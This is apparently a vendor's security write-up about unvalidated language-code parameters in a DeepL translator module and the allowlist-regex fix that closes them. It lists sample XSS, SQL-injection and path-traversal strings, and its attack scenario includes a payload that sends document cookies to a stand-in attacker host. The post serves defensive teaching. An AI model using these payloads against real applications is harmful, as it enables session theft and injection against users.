How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them
The File That Bridges User Input and an External API
The src/module/translator/deepl.js module does one job: take text and language preferences from the user, package them into DeepL API requests, and return translated output. It sits at an interesting security boundary—one side faces user-controlled data, the other side faces an external network service. A flaw in how language codes were handled inside splitText() and translate() meant that boundary was not being enforced, and raw, unvalidated strings were flowing straight through to the API payload.
This post walks through exactly what went wrong, why it matters even in a desktop application context, and what the fix looks like in concrete code.
The Vulnerability Explained
What the Code Was Doing
Before the fix, two functions in deepl.js accepted a user-supplied option object and copied its from and to properties directly into the outgoing API request body:
// splitText() — line 85 (before fix)
postData.params.lang.lang_user_selected = option.from;
// translate() — lines 124-125 (before fix)
postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;
There is no typeof check, no length limit, no character allowlist, and no format validation. Whatever string arrives in option.from or option.to is placed verbatim into the JSON body that gets sent to DeepL's endpoint.
Why That's a Problem
Language codes are supposed to be short, alphabetic identifiers like en, de, or zh-Hans. The DeepL API expects values conforming to ISO 639-1 (two-letter codes) or BCP 47 subtags. Nothing in the original code enforced that contract.
An attacker who can control the option object—for example, by crafting a file that the desktop application opens, or by injecting content into a document being translated—could supply values like:
| Payload | Class |
|---|---|
en<script>alert(1)</script> |
Reflected XSS if the value surfaces in a web view |
en'; DROP TABLE users;-- |
SQL injection fragment forwarded to any logging layer |
../../../../etc/passwd |
Path traversal if the value is ever used in a file operation |
| An extremely long string | Potential buffer pressure or log pollution |
Even if DeepL itself rejects these values at its own API layer, the application has already forwarded attacker-controlled data across a network boundary. Any intermediate processing—logging, caching, error serialization—could be affected. More importantly, this is an exploit primitive: a code pattern that, while not independently exploitable in isolation, can be chained with other weaknesses by automated attack tooling.
Attack Scenario
Consider a desktop translation application that opens .docx files. A malicious document embeds a custom language tag in its metadata. When the application reads that tag and passes it as option.from to translate(), the raw string—say, en<img src=x onerror=fetch('https://attacker.example/'+document.cookie)>—is placed inside the API request. If the application surfaces the API error response in a web view component without further escaping, the payload executes. The chain is: crafted file → option.from → postData.params.lang.source_lang_computed → API error → web view render → XSS.
The Fix
A Single Validation Function at the Gate
The patch introduces sanitizeLangCode(), a small but precise guard function added near the top of the file:
const regLangCode = /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/;
function sanitizeLangCode(code) {
if (typeof code !== 'string' || !regLangCode.test(code)) {
throw new Error(`Invalid language code: ${code}`);
}
return code.toUpperCase();
}
Let's unpack what each part does:
/^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/— anchors the match to the full string (^and$), allows only ASCII letters, enforces a 2–3 character primary subtag (covering ISO 639-1 and ISO 639-2), and optionally allows a 2–4 character region subtag after a hyphen. This coversen,zh,pt-BR,zh-Hans, and similar valid codes while rejecting everything else.typeof code !== 'string'— guards againstnull,undefined, or non-string types being passed in.throw new Error(...)— fails fast and loudly. The error message includes the offending value so developers can diagnose misconfigured callers quickly.code.toUpperCase()— normalizes the output to uppercase, which is the convention used by the DeepL API (e.g.,EN,DE,ZH-HANS).
Before and After
Before — in splitText():
postData.params.lang.lang_user_selected = option.from;
After — in splitText():
postData.params.lang.lang_user_selected = sanitizeLangCode(option.from);
Before — in translate():
postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;
After — in translate():
postData.params.lang.source_lang_computed = sanitizeLangCode(option.from);
postData.params.lang.target_lang = sanitizeLangCode(option.to);
All three assignment sites are now gated. No language code string reaches the API payload without passing through the regex check first.
Why All Three Sites Matter
It might be tempting to validate only in translate() and trust that splitText() is called internally. But defense-in-depth means validating at every boundary crossing, not just the outermost one. If splitText() is ever called directly—in a test, a future refactor, or an integration—the guard is already in place.
Prevention & Best Practices
1. Validate at the Point of Entry, Not the Point of Use
The most reliable place to validate option.from is the moment it enters the module, before any function touches it. Consider adding a top-level validation step in the exported function that external callers use.
2. Use Allowlists, Not Blocklists
The regex in this fix is an allowlist: it defines exactly what is permitted and rejects everything else. Blocklist approaches (e.g., stripping <script> tags) are fragile and routinely bypassed. For well-defined domains like language codes, an allowlist is always the right choice.
3. Fail Fast with Descriptive Errors
The throw new Error(Invalid language code: ${code}) pattern is intentional. Silent failures—returning null, substituting a default, or swallowing the error—hide bugs and make security issues harder to detect. Loud failures surface problems during development and testing.
4. Write Regression Tests for Injection Payloads
The PR includes a regression test suite that explicitly tests XSS and SQL injection strings as language code inputs:
const payloads = [
{ value: "en<script>alert(1)</script>", desc: "XSS injection in language" },
{ value: "en'; DROP TABLE users;--", desc: "SQL injection in language" },
{ value: "en", desc: "valid ISO 639-1 code" },
];
Tests like these are cheap to write and invaluable for preventing regressions when the validation logic is later refactored.
5. Apply the Same Pattern to option.to Everywhere
The fix correctly validates both option.from and option.to. Any time you have a parameter that flows into an external API, apply the same rigor to every field—not just the one that was flagged.
Relevant Standards
- OWASP Input Validation Cheat Sheet — comprehensive guidance on allowlist validation strategies
- CWE-20: Improper Input Validation — the root cause classification for this vulnerability
- ISO 639-1 / BCP 47 — the standards that define valid language code formats
Key Takeaways
option.fromandoption.toindeepl.jswere direct injection vectors: any string, including XSS and SQL payloads, could be forwarded to the DeepL API without modification.- The
sanitizeLangCode()function is the right abstraction: centralizing validation in one function means all three call sites benefit from a single fix, and future call sites will naturally use the same guard. - ISO 639-1 codes are a closed, well-defined set: they are an ideal candidate for allowlist regex validation rather than ad-hoc sanitization.
- Desktop applications are not immune to injection: the threat model here requires a crafted file or malicious content interaction, but that is a realistic attack vector for translation tools that process untrusted documents.
- Exploit primitives matter: even if this specific pattern isn't independently exploitable today, removing it raises the bar against automated exploit-chaining tools that combine multiple weak points.
How Orbis AppSec Detected This
- Source: The
option.fromandoption.tofields of the user-suppliedoptionobject passed intotranslate()andsplitText()insrc/module/translator/deepl.js. - Sink: Direct assignment to
postData.params.lang.source_lang_computed,postData.params.lang.target_lang, andpostData.params.lang.lang_user_selectedat lines 85, 124, and 125—values that are serialized into the body of an outgoing HTTP request to an external API. - Missing control: No type check, format validation, or allowlist comparison was applied to either language code parameter before assignment.
- CWE: CWE-20 — Improper Input Validation.
- Fix: A
sanitizeLangCode()function was introduced that validates input against/^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/and throws on non-conforming values; all three assignment sites were updated to call this function.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in deepl.js is a textbook example of how a small omission—not validating a string before forwarding it to an external service—creates a meaningful security gap. Language codes are a constrained, well-understood domain: two or three letters, an optional region subtag, nothing else. Enforcing that constraint with a six-line function eliminates an entire class of injection risk at this boundary.
The broader lesson is that every value crossing a trust boundary deserves explicit validation, even when the downstream service might reject bad input on its own. Your application should never rely on a third-party API to be its first line of defense.